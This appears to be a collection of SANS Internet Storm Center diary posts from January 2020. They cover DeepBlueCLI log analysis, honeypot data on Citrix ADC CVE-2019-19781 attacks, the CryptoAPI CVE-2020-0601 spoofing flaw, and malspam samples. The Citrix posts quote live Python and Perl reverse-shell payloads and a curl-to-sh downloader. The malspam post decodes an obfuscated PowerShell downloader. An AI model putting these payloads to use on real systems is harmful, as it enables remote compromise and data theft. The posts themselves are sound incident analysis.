I'll run through a number of the examples via the sample EVTX files provided via the project download and share with you a variety of results. We'll also crank out some output options based on said results. Note: Run PowerShell as admin for best the required effect. Also be sure to review the Set-ExecutionPolicy Readme if you receive a running scripts is disabled on this system error. Also read the project documentation to ensure proper logging configurations for your target systems, this is quite important to ensure effective coverage and positive results.
Let's begin with a check for Event log manipulation:

.\DeepBlue.ps1 .\evtx\disablestop-eventlog.evtx

Figure 1: Event log manipulation

Clearly Figure 1 shows a stop and start of the Event Log Service.
Next, the Metasploit native target (security) check:

.\DeepBlue.ps1 .\evtx\metasploit-psexec-native-target-security.evtx

Figure 2: Metasploit native target (security)

Someone has definitely run Metasploit on this system, per Figure 2. Note that when “cmd.exe connects to Meterpreter's named pipe, Meterpreter has the opportunity to impersonate that security context.” A Metasploit target (system) check clearly makes sense next:

.\DeepBlue.ps1 .\evtx\metasploit-psexec-native-target-system.evtx

Figure 3: Metasploit native target (system)

Sure enough, we yield Event IDs 7036 (Service Control Manager) and 7045 (A new service was installed in the system), the commands for which are clearly “Metasploit-style”.
Metasploit PowerShell target (security) and (system) return both the encoded and decoded PowerShell commands where .\DeepBlue.ps1 .\evtx\metasploit-psexec-powershell-target-security.evtx parses Event ID 4688 (a new process has been created, and not a good one) specifically, and .\DeepBlue.ps1 .\evtx\metasploit-psexec-powershell-target-system.evtx provides full context for the above mentioned 7036 and 7045 events.
.\DeepBlue.ps1 .\evtx\mimikatz-privesc-hashdump.evtx for Mimikatz lsadump::sam will return findings for Event ID 4673 (a privileged service was called) where Message: Sensititive Privilege Use Exceeds Threshold and Results: Potentially indicative of Mimikatz, multiple sensitive privilege calls have been made are indicated.
The New user creation check for Event IDs 4720 (new user created) and 4732 (user added to local Administrators group), and the Obfusation (encoding) and (string) checks for Event ID 4104 (script block), work precisely as expected, as do the Password guessing (Event ID 4625 - failed logon attempt) and Password spraying checks (Event ID 4648 - a logon was attempted using explicit credentials), per Figure 4.

Figure 4: Password guessing and spray

As a fond PowerSploit user, I appreciate the PowerSploit (security) and (system) checks, again decoding related 4688 events, as does the PSAttack check. For User added to administrator group .\DeepBlue.ps1 .\evtx\new-user-security.evtx returns the same results as part of New user creation.

Finally, let's generate a bit of proper output. You can expect CSV, Format list, Format table, GridView, HTML, JSON, and XML as output options, but I'm particularly fond of GridView when you're in the midst of a down and dirty firefight. .\DeepBlue.ps1 .\evtx\Powershell-Invoke-Obfuscation-encoding-menu.evtx | Out-GridView serves us well as an exemplar, as seen in Figure 5.

Figure 5: GridView output

DeepBlueCLI is DFIR smoke jumper must-have. Eric and team really have built a useful and efficent framework that has been added to my preferred arsenal thanks to Kringlecon.
Obviously, you'll want to give DeepBlueCLI a good look, as well as the others mentioned in the intro, and above all else, even if only a best effort, give Kringlecon 3 a go next year. It really is a blast, you'll learn a ton.

Cheers…until next time.

Russ McRee | @holisticinfosec

In today's diary, I am summarizing the current state of attacks exploiting the Citrix ADC vulnerability (CVE-2019-19781), using data from our SANS ISC honeypots. Our first two posts about this topic are here: [1] [2].

We are looking here at data collected during the first 10 days after the exploit was made public [3]. During this time, we registered more than 550,000 attack attempts to our honeypots. The highest volume was registered on Jan 12, just two days after the first exploit: 290,000 attack attempts, generated by 532 IP addresses located in 42 countries.

Take a look at the source of the attacks on the map below.

As you may have noticed, the vast majority of attacks originate from Russia. Hosts in Russia are responsible for 455,000 attempts or 82% of the total.

Histogram of Attacks by Country

Payload Overview

Regarding the payloads used by the attackers, we observed 141 variants. Given the command issued on the victim’s machine, we could infer that most of them are part of automated attacks to download and execute scripts like:

exec(\'curl+185[.]178.45.221/ci.sh+|+sh\');” or to simple collect data like “print+`cat+/flash/nsconfig/ns.conf`

However, we also noticed reverse connection payloads that often require attacker interaction. In those scenarios, the possibilities for the attacker are huge as they may manually interact with the system, look for interesting data and also ways to pivot to other segments on the victim’s network.

Most of the reverse connections payloads were written in Python, like this one:

/var/python/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("185[.]10.68.25",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

But a few were written in Perl:

perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"195[.]123.238.91:443");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

We were able to connect to a couple of the endpoints via telnet and netcat. Most of these connections failed. But in some cases, we ended up with a connection and someone typing standard Unix commands like "id", "ls" and "uname". The speed suggests that these commands were typed manually. But we were not able to keep up the ruse long enough to get to any interesting commands.

The TOP 10 payloads and its respective count is shown in the table below:

“Patching” Payload

From the list below, the fifth one caught our attention. It is especially interesting because:

• After downloading and executing its malicious action from a Pastebin address, it applies a patch to “newbm.pl” file – possible to avoid competitors;
• The Pastebin content pointed by the payload that supposedly contains the malicious action has been removed when we try to check it two days ago.

Thus, depending on when the Pastebin address with the malicious content was removed, this campaign may have just patched vulnerable installations. It’s worthing mentioning that the fix applied by this payload is partial and does not patch all possible vulnerable files.

            In the figure below it’s possible to see the moment the “patching” payload reached our honeypots.

We will continue to monitor Citrix ADC exploitations and giving you more updates. If you saw something else interesting about this vulnerability, please let us know!

References:

[1] https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+are+Public+and+Heavily+Used+Attempts+to+Install+Backdoor/25700/
[2] https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Overview+of+Observed+Payloads/25704/
[3] https://github.com/projectzeroindia/CVE-2019-19781

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Last 24 hours have been extremely interesting – this month’s patch Tuesday by Microsoft brought to us 2 very interesting (and critical) vulnerabilities. The first one, the “BlueKeep” like remote code execution vulnerability in Remote Desktop Gateway (CVE-2020-0609, CVE-2020-0610) has been kind of ignored, although it’s really critical … so I guess I’ll continue doing that in this diary (but rest assured that we are keeping an eye on the RDG vulnerability as well).

This diary is about the vulnerability in Windows CryptoAPI, CVE-2020-0601, that everyone has been talking about; we decided to sum up known and tested information so far.

The vulnerability exists in the Windows CryptoAPI component (Crypt32.dll), specifically in the part that is used to validate Elliptic Curve Cryptography (ECC) certificates. Due to a serious bug in code, ECC certificates are not properly verified – there have been several posts about why this fails (i.e. the one here), but the bottom line is that it is trivial to use an existing Certificate Authority (that must be using ECC) to create a spoofed certificate. It took only hours for first proof of concept certificates to be released, and we can confirm now that it is trivial to create such certificates. So, what can an attacker do with this?

While certificates are used for all sorts of things, the two most common ways of abusing the vulnerability are probably through spoofing web certificates and digital signatures for binaries on Windows. Let’s address those.

Spoofing web certificates

In order to spoof a certificate, an attacker will typically want to pick an ECC CA that comes bundled with Windows. There are several such certificates, and in examples below I used Microsoft ECC Product Root Certificate Authority 2018 which comes installed by default (and for bonus, it’s a Microsoft’s CA).

Due to vulnerability being in the way ECC certificates are verified, in the process of creating the spoofed certificate, the attacker takes the public key from the CA and creates a fake CA, where the public key will be the same, but it will use different generator (G) for the curve. Normally, this should be rejected due to the generator not being the original one, but Crypto32.dll fails to do that and, as long as the public key matches the original CA will accept the certificate.

We have generated several such certificates and put a test site that you can use to see if you are vulnerable. The test site is available at https://curveballtest.com/index.html - once you open it, there is a special style sheet loaded from a site using such a fake certificate. If it renders, you will see a message saying that you are vulnerable, as below:

Now, this will by default work only in Internet Explorer and Edge on Windows. Mozilla Firefox does not use Crypt32.dll to verify certificates and does not have the same bug.

Google Chrome does use Crypt32.dll, however it tries to verify every certificate in Certificate Transparency log, which is another safety feature in Chrome. That being said, Google introduced that feature for all certificates issued after May 1, 2018.
Hmmm .. and we're faking certificates, aren't we? So, how about we issue a certificate before that date, let's say 24.3.2018. And voila - it works in Google Chrome out of box as well!
The maximum validity for a certificate that Chrome allows is about 27 months - enough for us
Google was fast addressing this - with the latest release of Chrome, released today (Thursday, 16/1/2020) they added additional checks for Chrome so make sure you update Chrome as well!

Finally, the vulnerability exists only on Windows 10 and Windows Server 2016 and 2019 – other Windows OSes do not support ECC certificates so they are safe.

Once you visit such a site with a vulnerable OS (and IE or Edge), the certificate will be correctly validated, although certificate details in IE will be weird, as you can see below:

Edge is actually even worse – there isn’t a single sign of a certificate being spoofed:

Ok, so it is bad, but how bad is it? Remember that while an attacker can spoof a certificate, he/she still has to get the victim to visit the web site. In other words, if we spoof certificate for isc.sans.edu, we must get the victim to connect to the IP address of a malicious server (with the spoofed certificate). This means that a prerequisite for the attack is some kind of Man-in-the-Middle between the legitimate site and the victim, or some kind of DNS poisoning which will make the victim visit the attacker’s server. 

I would say that this decreases a risk a bit – sure, an attacker can use social engineering or phishing techniques, but in such an attack the final domain will be fake anyway (i.e. isc.sans.edu.malicious.com).

Spoofing digital signatures for binaries

Besides web sites, binaries are nowadays commonly signed. Actually, a lot of endpoint security software will skip verifying correctly signed binaries and will blindly trust them. This is what makes this vulnerability more critical: if it’s possible for an attacker to spoof a certificate for a binary pretending to be Microsoft for example, then it might be possible to evade certain defenses.

We have successfully created such binaries and tested on both pre and post-patch machines and the results here were a bit more worrying.

On a non-patched machine, the digital signature shows as perfectly fine, as you can see in figures below:

Of course, it will run without any issues, as expected.
With the patch, besides fixing certificate validation, Microsoft also added a new event to Windows Event Log, that will warn when a binary with a fake certificate is executed. This is what the signature and the event log looks like on a patched machine:

However, the bad binary will still be executed on a patched machine, silently, without any warning except the event log above. This is a serious issue since the patch will not prevent such a maliciously signed binary from working, it will just create a log. Endpoint protection software should, hopefully, in this case correctly detect and block such an attempt.

Finally, if you just want to test for detection and create a fake Event Log as the one above, our handler Didier Stevens created a simple VBA program that will generate such an event.
The code is available on his blog, at https://blog.didierstevens.com/2020/01/15/using-cveeventwrite-from-vba-cve-2020-0601/

I liked the idea so I recreated it in Powershell (hey, it's Posh), you can find equivalent PSH code below:

$MemberDefinition = '[DllImport("advapi32.dll", CharSet = CharSet.Unicode)] public static extern long CveEventWrite(string CveId, string AdditionalDetails);'
$Advapi32 = Add-Type -MemberDefinition $MemberDefinition -Name 'Advapi32' -Namespace 'Win32' -PassThru
[Win32.Advapi32]::CveEventWrite("[CVE-2020-0601] cert validation", "CA: SANS ISC, sha1: d4d0713782626a7320e77967f1578b386257de1f")

If you want to test with a real binary, Didier created a simple program that does nothing really except showing a window which we then signed with a fake certificate.
You can download it from here: https://curveballtest.com/SANSISC_signed.exe - once you start it, there should be an event created in Windows Event log (Application). Additionally, on a patched machine, when you start it as administrator, you should see a message about an incorrect signature.

To sum it up: it’s not the end of the world, but the vulnerability is serious: you should patch affected systems as soon as possible. Keep in mind that any other software that uses Crypt32.dll to verify ECC certificates is vulnerable, so it’s best that patching is not delayed.

We will be updating the diary as we get more information – of course, if you have something to share with us, let us know!

Small update:

Just a small update regarding digital signatures for binaries. First, the binary we put last night was not signed - we have put a signed one up now (with a fake signature), it is available at the following URL: https://curveballtest.com/SANSISC_signed_fake.exe

Additionally, the fact that Windows will not prevent the binary from being executed is correct (thanks Stefan for the comment). The only sign of something going wrong will be when elevated, when the UAC prompt is shown.

On a vulnerable system, the following prompt is shown:

While a patched system will display the UAC prompt stating an unknown publisher.

--
Bojan
@bojanz
INFIGO IS

Although less than two days have gone by since the latest release of MSFT patches, I find that it would actually be hard to add anything interesting to them that hasn’t been discussed before, as the most important vulnerabilities (couple of RCEs and an interesting vulnerability in CryptoAPI) seemed to be all anyone talked about for the last 24 hours. If you didn’t hear anything about it, I suggest you take a look at the ISC coverage of the CryptoAPI vulnerability[1] as well as the Patch Tuesday overview[2]. But for the rest of us, I thought today might be a good day to take a short break from this topic and take a look at what the last year brought us instead.

Since 2019 has passed us by, I thought it might be interesting to take a look at the malicious files, which it left in my e-mail quarantine. Specifically, I thought it might be worthwhile to try to determine which of the malicious files was the smallest and which the largest as these might provide us with good example of how two extreme cases of malware might have looked in 2019. The assumption was that one would probably be very simple and the other one very complex.

I started out with a little over 650 files, mostly of the usual malspam types. After unpacking all of the archives (by the way, let me know if anyone still uses the ACE format), IMGs, ISOs, etc., I was left with plenty of Office documents, PDFs, different varieties of scripts, and – of course – executables. Most of these were left with the default EXE extension, however there were couple SCRs and COMs in the mix as well. There were plenty of other file types as well – for example a couple of LNKs, one of which tried to look like a RTF file and the other like a PNG file.

The latter file turned out to be the smallest of the bunch. It was originally packed within an archive (777 bytes long ZIP file titled PO.pdf.zip), which was attached to a phishing e-mail from the end of October. At 2,296 bytes, it was no larger than any normal LNK. Correspondingly, it wasn’t overly complex – the target of the shortcut was set to the following string.

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe $pvs=[string][char[]]@(0x68,0x74,0x74,0x70,0x73) -replace ' ','';$mja=[string][char[]]@(0x6d,0x73,0x68,0x74,0x61) -replace ' ','';sal yc $mja;$pvs+='://fajr.com/out-1870541522.hta';yc $pvs

After removing the elementary obfuscation, this comes down to the following result.

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe mshta https://fajr.com/out-1870541522.hta

As we may see, the LNK was just a simple downloader for a HTA file, which it was supposed to execute. So far, the assumption of positive correlation between size and complexity of the malware attachments held true.

Where things got interesting was the hunt for the largest file. Although there are exceptions, malicious files are only seldom significantly larger than 2 or 3 megabytes. Considering this, I was quite surprised when I sorted the files and found a 74 MB executable (an EXE with .COM extension) at the top.

Since no file among the original attachments was nearly as large as this one, there was only one possible explanation of where it came from. The file had to have been part of one of the archives and it had to have been packed with an extremely good compression ratio enabled by its internal structure. My guess was that the authors of the file included lots of unused uniform space (most likely in the form of null bytes) in the executable in order to make it extremely large and very compressable at the same time. This turned out to be the case as the archive (ZIP with a .R20 extension), in which the file was originally stored, was only 442 kB large.

After taking a closer look at the executable, the theory about null bytes was proven as well. In fact, as the following histogram of byte values in the file demonstrates, almost 99% of the file was nothing but one large segment filled with null bytes intended only to make the file much larger than it needed to be.

I assume that the size of the executable was increased in this way in order to enable it to bypass anti-malware scans. It is customary to configure anti-malware software with a maximum size of files, which it should scan. This is done in order to minimize impact of scans on computing resources and since most malicious files aren’t too large, the fact that scans are only done on smaller files doesn’t usually present much of an issue. In the case of our 74 MB executable, it however means that its size alone might potentially shield it from being scanned and detected on some systems.

This technique is quite imaginative, because since it is very easy to implement, it is a very “cheap” way for malware authors to shield their creation from at least some methods of detection. Although I’m sure the technique has been used before (I found 3 other files which used it among the samples I had available), it is definitely not common.

Due to its inflated size, the executable ended up not being as complex as I have hoped. After further analysis, it turned out that the file, which originally arrived in an e-mail at the beginning of February 2019, was otherwise a normal variant of the Pony/FareIT info stealer.

Although the original idea of showing a very simple and a very complex malware did not pan out, I believe that taking a look at the files wasn’t a total loss since our not-so-complex large file turned out to be interesting in its own right… Additionally, when I saw all of the executables placed in a single folder, I thought it might be a good opportunity to demonstrate one more interesting concept.

It is quite usual for malware authors to use similar naming schemes when it comes to filenames and variables and this may aid us in quickly finding links among different malicious files and campaigns. However, file names aren’t necessarily the only visual indicator we may use to determine links between different malicious files. In some cases, just looking at the icons of the executables may provide us with similar information, as some malicious actors can get quite attached to a single icon design or style. The following icons may serve as a good example since, although they are all different, the similarities are so notable that one can reasonably assume that they were created by the same author or were part of the same campaign. Which is true – all the executables were part of a malspam campaign active during February and March 2019.

While the similarity in icon designs isn’t always so striking, and it usually doesn’t provide us with a definitive link between files (it may only mean that the files were created use the same SW), it can sometimes be a useful indicator that multiple files are in some way related even though their names might not appear similar.

PO.png.lnk
MD5 – 687ab70423fe0ab87522715e817a7095
SHA1 – 7879e064f00ec3a23185bd09221fdd94b08e52ef

DHL_shipping Doc.com
MD5 – 7e6fbf419a902b5880c04969082a8b3f
SHA1 – c19b040f995ec7a23af971d6c07db53fc5b0e911

[1] https://isc.sans.edu/forums/diary/CVE20200601+Followup/25714/
[2] https://isc.sans.edu/forums/diary/Microsoft+Patch+Tuesday+for+January+2020/25710/

-----------
Jan Kopriva
@jk0pr
Alef Nula

Among the patches Microsoft released yesterday, the vulnerability in the CryptoAPI got by far the most attention. Here are some answers to questions we have received about this vulnerability. Many of these questions also came from our webcast audience (for a recording, see https://sans.org/cryptoapi-isc ) Thanks to Jake Williams for helping us with the webcast!

UPDATE: An Exploit has been made public!

We also made a simple PowerPoint presentation available to help you brief management on the issue: TalkingToYourBossAboutCryptoAPI.pptx

[I am still going over some of the questions from the webcast. This post will be updated later today with additional questions. Feel free to submit questions here: https://isc.sans.edu/contact.html ]

• What is the name of the vulnerability?
  There is no catchy name or logo for this vulnerability. It is referred to as "CVE-2020-0601", "CryptoAPI ECC Verification Vulnerability," or "crypt32.dll Vulnerability" and several other names. It is probably best to use the CVE number as an identifier.
   
• Which operating systems are affected?
  Only Windows 10 and Windows Server 2016 and 2019 are affected. Windows 7 is not affected. There was some confusion about this because Windows 7 is no longer officially supported after this patch release. But the January 14th patch Tuesday did cover Windows 7. The affected library, crypt32.dll (CryptoAPI), is present in older versions of Windows, including Windows 7. But not all versions of this library are affected. Out of support versions of Windows 10, like Windows 10 1709, are likely vulnerable, and you should upgrade to Windows 10 1809, the current "long term support" version.
   
• Have there been any problems reported with this patch?
  None so far that we are aware of.
   
• I am only using RSA certificates. Am I still vulnerable?
  Likely yes. First of all, even if you use RSA certificates exclusively internally, many external sites and software distributors will use elliptic curve (ECC) certificates. Also, the operating system will treat ECC and RSA certificates as equals. Think of it as a different certificate authority. Your system will trust certificates from any trusted certificate authority. Even if you retrieve your certificates exclusively from "Authority A," an attacker could still use "Authority B" to impersonate you as long as your systems trust "Authority B." Certificate pinning may help here (or pinning the certificate authority)
   
• Is Windows Update itself vulnerable?
  No. Windows Update added several protections to prevent attacks where an attacker would be able to obtain a fake Microsoft certificate. Microsoft uses Certificate pinning and other protection measures to make attacks very difficult and impossible via CVE-2020-0601.
   
• Is SCCM Vulnerable (Microsoft System Center Configuration Manager)?
  No. It applies the same checks to updates as does "Windows Update."
   
• How do I know if I am patched?
  There are now a few of proof of concept exploits available on GitHub. The simplest test is probably https://chainoffools.wouaib.ch/ [visit at your own risk]. The website uses a certificate that was "signed" using the PoC exploit . You may also download a sample binary submitted to Any.Run see: https://app.any.run/tasks/884f5b91-2f1c-40f9-9566-41ab83790f60/ [again: use at your own risk]
   
• Is there an exploit available?
  A working exploit has been released on Wednesday, Jan 15th evening (ET). https://github.com/ollypwn/cve-2020-0601
   
• Is there some form of test certificate available (not a full exploit) to check my defenses?
  visit https://curveballtest.com to test if you are vulnerable (use Internet Explorer or Edge. Chrome may show up as not vulnerable even if it is vulnerable)
   
• Will I know if someone attacked me using this vulnerability?
  If you patched, Windows will log an alert if it detects a suspect certificate. Endpoint protection vendors, including Microsoft, have added signatures to their solutions, checking for certificates that are likely exploits.
  
   
• How will I be able to detect if a certificate is taking advantage of this vulnerability?
  The certificate will use an elliptic curve with explicit parameters. Three parameters define elliptic curves. There are several standard ("named") curves with set parameters. But instead of using one of these named elliptic curves, you may also specify your parameters. Not all certificates with explicitly defined parameters are malicious. But the exploit requires the use of these explicit parameters.
   
• Are Certificates Using Specific Elliptic Curves, like for example P-384, vulnerable?
  An attacker would use a certificate with explicit parameters, not a named curve like P-384, to exploit this vulnerability. However, if your valid certificate uses a named curve like P-384, an attacker could still craft their own certificate with explicit parameters to exploit this issue. 
   
• If my VPN (or other TLS based authentication system like PEAP) uses certificates for authentication: Is it vulnerable?
  This depends somewhat on the exact configuration. But in general, you are not vulnerable in these cases because you are likely only allowing very specific CAs and are always pinning certificates for specific users.

Resources:
Webcast Recording: https://sans.org/cryptoapi-isc
ISC Patch Tuesday Blog: https://isc.sans.edu/forums/diary/Microsoft+Patch+Tuesday+for+January+2020/25710/
NSA Post: https://media.defense.gov/2020/Jan/14/2002234275/-1/-1/0/CSA-WINDOWS-10-CRYPT-LIB-20190114.PDF
MSFT Advisory https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601
Technical details about the nature of the vulnerability [trigger warning: lots of math]: https://medium.com/zengo/win10-crypto-vulnerability-cheating-in-elliptic-curve-billiards-2-69b45f2dcab6
Using CveEventWrite From VBA (CVE-2020-0601): https://blog.didierstevens.com/2020/01/15/using-cveeventwrite-from-vba-cve-2020-0601/

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

[Special Note: we will have a special webcast on this topic at noon ET tomorrow (Wednesday, January 15th. See https://sans.org/cryptoapi-isc )

For January, we do have three topics to pay attention to:

1. Windows CryptoAPI Spoofing Vulnerability (%CVE:2020-0601%)
2. Two "BlueKeep" Like vulnerabilities in RD Gateway (%CVE:2020-0609% and %CVE:2020-0610%)
3. This will be the last month Microsoft will publish free security updates for Windows 7

This month, Microsoft wasn't able to prevent information about these updates from leaking as it usually can. Information about one particular flaw, %CVE:2020-0601%, the "Windows CryptoAPI Spoofing Vulnerability," was leaked as early as Friday.

CVE-2020-0601 has a significant impact on endpoint security. An attacker exploiting this vulnerability will be able to make malicious code look like it was signed by a trusted source (for example, Microsoft). The flaw only affects Elliptic Curve Cryptography (ECC) certificates. ECC, just like RSA certificates, use public/private keys. ECC is considered more modern and efficient. ECC keys are significantly shorter than RSA keys of equivalent strength. With ECC still being somewhat "new," many software publishers still use RSA certificates. But it appears to be possible that an attacker could spoof an entity that usually only uses RSA certificates by applying a spoofed ECC certificate to malicious software. The code validating the certificate doesn't know which type of certificate a publisher uses.

According to an NSA press release about the issue, TLS is affected as well [1]. A website could use this flaw to impersonate a valid website (including TLS certificate). This could be used for more convincing phishing sites.0

Only Windows 10 and Windows Server 2016 and later are affected by this flaw. In addition to fixing the flaw, Microsoft also added a function to log an error if an exploit attempt is detected. The error message  "[CVE-2020-0601] cert validation" will be logged to the event log if a certificate is processed that attempts to exploit the flaw.

How could this flaw be exploited? Let's look at a quick sample scenario how this flaw could be used to trick a user to install malicious code:

1. The attacker sends an email to the user. The attacker can use this flaw to create a valid signature for the email indicating that it came from a trusted source (for example a vendor).
2. The user clicks on the link, and the attacker will redirect the request to a malicious website via a man in the middle attack. The attacker would be able to create a fake website with a TLS certificate that appears to be valid.
3. Malicious software will be downloaded from the site. The attacker will be able to create a valid code signing signature.
4. The user, or endpoint protection software on the user's system, will consider the software harmless due to the (fake) signature identifying a trusted vendor as the author.

Certificates are the based mechanism used to verify the authenticity and integrity of the content. Without it, an attacker can spoof arbitrary entities and make malicious content appear trusted.

How severe is this flaw? If you are having issues with your users enabling macros in Office documents they receive from untrusted sources and if nothing blocks them from downloading and execute malware: Don't worry. You are not validating signatures anyway. However, if you have an endpoint solution that blocks users from running untrusted code: You likely need to worry and apply this patch quickly. The flaw is part of Microsoft's Crypto API (crypt32.dll). This library is used by pretty much all Windows software that deals with encryption and digital signatures. This flaw is likely going to affect a lot of third party software as well, not just software written by Microsoft. Any software calling the "CertGetCertificateChain()" function in Crypto API should be considered vulnerable, which for example includes Google Chrome and many others.

At this point, I am not aware of a public exploit, but the advisory was made public minutes ago. Maybe we will know more by the end of the day. At this point, the vulnerability has not been exploited yet. It was found by the US National Security Agency (NSA), who reported the flaw to Microsoft.

But %CVE:2020-0601% isn't the only vulnerability you should be worried about this month. %CVE:2020-0609% and %CVE:2020-0610% are fixing remote code execution vulnerabilities in the Windows Remote Desktop Gateway (RD Gateway). Remember BlueKeep? The RD Gateway is used to authenticate users and allow access to internal RDP services. As a result, RD Gateway is often exposed and used to protect the actual RDP servers from exploitation.

Finally: This will be the last monthly patch for Windows 7. 

[1] https://media.defense.gov/2020/Jan/14/2002234275/-1/-1/0/CSA-WINDOWS-10-CRYPT-LIB-20190114.PDF

Patch Tuesday Dashboard

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

If you missed Johannes' diary entry "Citrix ADC Exploits are Public and Heavily Used. Attempts to Install Backdoor" this Saturday, make sure to read it first.

Now that there are public exploits for Citrix ADC, we are seeing many attacks and are observing various payloads.

For the moment, after normalization, we observed 37 different payloads. Here is a screenshot of all these payloads (we are using an image to avoid triggering your AV when you read this diary entry):

Update: a text version of this list is available on PasteBin.

The normalization done on the commands above is for filenames (XXX.xml), echo command (echo XXXXXX) and TrustedSec's PoC (chr(..) ...).

The commands vary from simple reconnaissance and exfiltration to second stage downloads and wiping.

After decoding and normalizing the "print readpipe(chr(..) ...)" commands (used in TrustedSec's PoC), we end up with 14 different payloads:

Some of these are similar to the previous commands, and we also observe many "Python reverse shells" (import socket ...).There are ping and curl reconnaisance commands (IPV4_TARGET is a normalization of the subdomain encoding the IPv4 address of the target).

And we have a second Perl backdoor (import base64; ...) using a NetScaler module:

Countrary to the first Perl backdoor reported by Johannes, this one requires a password to execute commands:

Like the first backdoor, this one too has 0 detections on VirusTotal at time of writing.

We observed 377 variants of this backdoor, all identical except for the MD5 hash (password).

To detect attacks against your systems, take a look at the Snort rule we published on Saturday.

IOCs extracted from the payloads reported in this diary entry:

hxxp://185.178.45[.]221/ci2.sh
hxxp://159.69.37[.]196/sites/default/files/test/cmd.pl
hxxp://185.178.45[.]221/ci3.sh
hxxp://stan[.]sh
hxxp://www.jdjd[.]com/sks.rar
hxxps://pastebin[.]com/raw/d3SY1erQ
hxxp://61.218.225[.]74/snspam/lurk/shell/am.txt

188.166.106[.]153
192.3.255[.]144
31.134.200[.]75
51.68.122[.]93
81.110.55[.]125
82.27.64[.]190

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

In my last two diaries, I shared a Pihole parser and dashboard to collect and view its logs in Elastic. In this diary, I'm sharing another parser and dashboard to visualize the data collected by Didier's tcp-honeypot. This is a work in progress. 

tcp-honeypot Log Analysis from Discover

tcp-honeypot Dashboard Summary

The file tcp-honeyport parser can be downloaded here and the dashboard JSON here.

[1] https://github.com/DidierStevens/Beta/blob/master/tcp-honeypot.py
[2] https://handlers.sans.edu/gbruneau/elk/honeypot.conf
[3] https://handlers.sans.edu/gbruneau/elk/honeypot_graphs.ndjson
[4] https://handlers.sans.edu/gbruneau/elk/pihole.conf
[5] https://handlers.sans.edu/gbruneau/elk/pihole_graphs.ndjson

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

IMPORTANT UPDATE: CITRIX announced that a patch will be released on January 20th for Citrix ADC 11/12 and 13. Version 10 will have to wait until January 31st.  (https://support.citrix.com/article/CTX267027)

Late last night, multiple groups released working exploits for the Citrix ADC path traversal flaw. First, "Project Zero India" released a simple exploit essentially consisting of two curl commands [1]. The first one will write a template file that includes a shell command of the user's choosing. The second curl request will download the result of the command execution. The exploit worked for me, but I had to make some small adjustments likely due to differences in command-line tool flavors.

After the first exploit was released, TrustedSec released its exploit [2]. It should be noted that TrustedSec held back on publishing until the first exploit was released. TrustedSec's exploit uses essentially the same method as the first exploit. But TrustedSec's exploit is written as a Python script and establishes a reverse shell. Overall, TrustedSec's exploit is more professionally done and works very well. I had to make one small adjustment to make it work on my version of Citrix ADC. Over the last few hours, many other variations of the exploit have been released.

Both exploits will leave files in the /var/tmp/netscaler/portal/templates and /netscaler/portal/templates directory. Here is an example after using the TrustedSec exploit twice:

root@ns# ls /var/tmp/netscaler/portal/templates/
ddgjfqthcz.xml.ttc2    mkckbpmgiu.xml.ttc2
root@ns# ls  /netscaler/portal/templates/*.xml
/netscaler/portal/templates/ddgjfqthcz.xml
/netscaler/portal/templates/mkckbpmgiu.xml

I have observed one bot that attempts to remove the .xml files in /netscaler/portal/templates . This bot attempts to delete all.xml files, not just the one left by that particular bot. 

Here are typical access log from several exploit attempts (/var/log/httpaccess on my Citrix system)

172.16.29.1 - - [11/Jan/2020:05:14:55 +0000] "GET /vpns/portal/oubspcjuxw.xml HTTP/1.1" 200 696 "-" "curl/7.67.0" "Time: 75532019 microsecs"
172.16.29.1 - - [11/Jan/2020:05:18:51 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 15 "-" "python-requests/2.22.0" "Time: 2756 microsecs"
172.16.29.1 - - [11/Jan/2020:05:20:03 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 135 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0" "Time: 3017 microsecs"
172.16.29.1 - - [11/Jan/2020:14:21:43 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 135 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0" "Time: 13694 microsecs"
172.16.29.1 - - [11/Jan/2020:14:21:45 +0000] "GET /vpns/portal/ddgjfqthcz.xml HTTP/1.1" 200 696 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0" "Time: 212547 microsecs"
172.16.29.1 - - [11/Jan/2020:14:22:29 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 135 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0" "Time: 3353 microsecs"

You will typically not see any entries in the error log (/var/log/httperror) unless the exploit fails, in which case you may see errors caused by the script. For example, this is an error log from the TrustedSec exploit after it was unable to connect:

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/var/python/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 61] Connection refused

Note that this text is just added to the error log and it is not formatted like a normal apache error log entry. STDERR is essentially just sent to the log.

For defenses, the Citrix workaround ("patch") is still your best bet [3]. If you haven't applied it yet: Make sure your Citrix ADC has not already been compromised. Checking for the files is a good start but consider that a more sophisticated attacker may be able to remove them. The web server is running as "nobody" so the attacker will be able to execute commands with the "nobody" privileges unless a privilege escalation exploit is added.

